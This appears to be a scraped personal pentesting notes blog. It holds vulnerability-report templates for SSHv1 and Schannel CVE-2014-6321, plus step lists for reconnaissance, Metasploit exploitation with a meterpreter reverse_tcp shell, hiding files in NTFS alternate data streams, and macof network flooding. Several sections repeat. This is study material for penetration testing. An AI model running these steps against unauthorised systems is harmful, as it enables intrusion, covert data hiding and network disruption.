Description:
The affected host support the use of SSH protocol version 1.33 and/or 1.5 which is associated to cryptography flaws.
Risk Level:
Medium
Implication:
An attacker could leverage this issue to decipher the encrypted data to obtain sensitive information.
Recommendation:
The affected host should be configured to disable the support SSH version 1
Manual verification:
command: ssh -1 ipaddr
Wednesday, September 9, 2015
Schannel Remote Code Execution (CVE-2014-6321)
Issue:
Schannel Remote Code Execution (CVE-2014-6321)
The affected host is vulnerable to remote code execution due to improper processing of packets by the Secure Channel (Schannel) security package.
Risk Level:
High
Implication:
An attacker can exploit this issue by sending specially crafted packets to a Windows server and gain unauthorised access over the server.
Recommendation:
Microsoft has released a set of patches for Windows 2008. The affected host should be patch to the latest security update https://technet.microsoft.com/en-us/library/security/ms14-066.
How to do manual verification:
Click on the link below:
https://github.com/anexia-it/winshock-test
Schannel Remote Code Execution (CVE-2014-6321)
The affected host is vulnerable to remote code execution due to improper processing of packets by the Secure Channel (Schannel) security package.
Risk Level:
High
Implication:
An attacker can exploit this issue by sending specially crafted packets to a Windows server and gain unauthorised access over the server.
Recommendation:
Microsoft has released a set of patches for Windows 2008. The affected host should be patch to the latest security update https://technet.microsoft.com/en-us/library/security/ms14-066.
How to do manual verification:
Click on the link below:
https://github.com/anexia-it/winshock-test
How to install kali on vmware and make it full screen _vmware tools
Click the link below:
https://www.youtube.com/watch?v=YpGhtpI6TCc
https://www.youtube.com/watch?v=YpGhtpI6TCc
Tuesday, September 8, 2015
Process of Pentest
Information Gathering
----------------------------
DNS Zone Transfer
Step 1: nslookup (target ip/domain name)
Step 2: kali linux->dig axfr @ipaddr/domain name
Trace Route
Step 1: traceroute ipaddr
Port Scanning
Step 1: nmap ipaddr
Vulnerability Scanning
------------------------------
Step 1: Nessus to scan for vulnerability
Exploitation
-------------------
Step 1: Kali Linux: msfconsole (Metasploit)
Step 2: Search library for vulnerability -> search (vulnerability)
Step 3: Choose Weapon -> use (path of the library)
Step 4: Communication between host -> set payload windows/meterpreter/reverse_tcp
Step 5: To show all settings -> show options
Step 6: set target ip address -> set RHOST ip addr
Step 7: set your host ip address -> set LHOST ipaddr
Step 8: to perform exploitation -> run/exploit
----------------------------
DNS Zone Transfer
Step 1: nslookup (target ip/domain name)
Step 2: kali linux->dig axfr @ipaddr/domain name
Trace Route
Step 1: traceroute ipaddr
Port Scanning
Step 1: nmap ipaddr
Vulnerability Scanning
------------------------------
Step 1: Nessus to scan for vulnerability
Exploitation
-------------------
Step 1: Kali Linux: msfconsole (Metasploit)
Step 2: Search library for vulnerability -> search (vulnerability)
Step 3: Choose Weapon -> use (path of the library)
Step 4: Communication between host -> set payload windows/meterpreter/reverse_tcp
Step 5: To show all settings -> show options
Step 6: set target ip address -> set RHOST ip addr
Step 7: set your host ip address -> set LHOST ipaddr
Step 8: to perform exploitation -> run/exploit
Alternate Data Stream interrogation tool
First
Create a txt file with command: notepad.exe seeme.txt
View the content of the txt file: type seeme.txt (showing output)
Second
Create a txt file with command: notepad.exe seeme.txt:hidden.txt
You will not see the file by typing type seeme.txt (no output)
The only thing you can see it is type: notepad seeme.txt:hidden.txt
Create a txt file with command: notepad.exe seeme.txt
View the content of the txt file: type seeme.txt (showing output)
Second
Create a txt file with command: notepad.exe seeme.txt:hidden.txt
You will not see the file by typing type seeme.txt (no output)
The only thing you can see it is type: notepad seeme.txt:hidden.txt
Information Gathering - NetDiscover
Using Kali Linux
-------------------------
netdiscover -i eth0 => to discover what devices on the network
macof -
i eth0 -n 10 =>flood the network 10 times
Output for netdiscover
-------------------------
netdiscover -i eth0 => to discover what devices on the network
macof -
i eth0 -n 10 =>flood the network 10 times
Output for netdiscover
Sunday, June 17, 2012
Identify & Troubleshoot Unknown Devices in Windows
http://www.thewindowsclub.com/identify-troubleshoot-unknown-devices-in-windows
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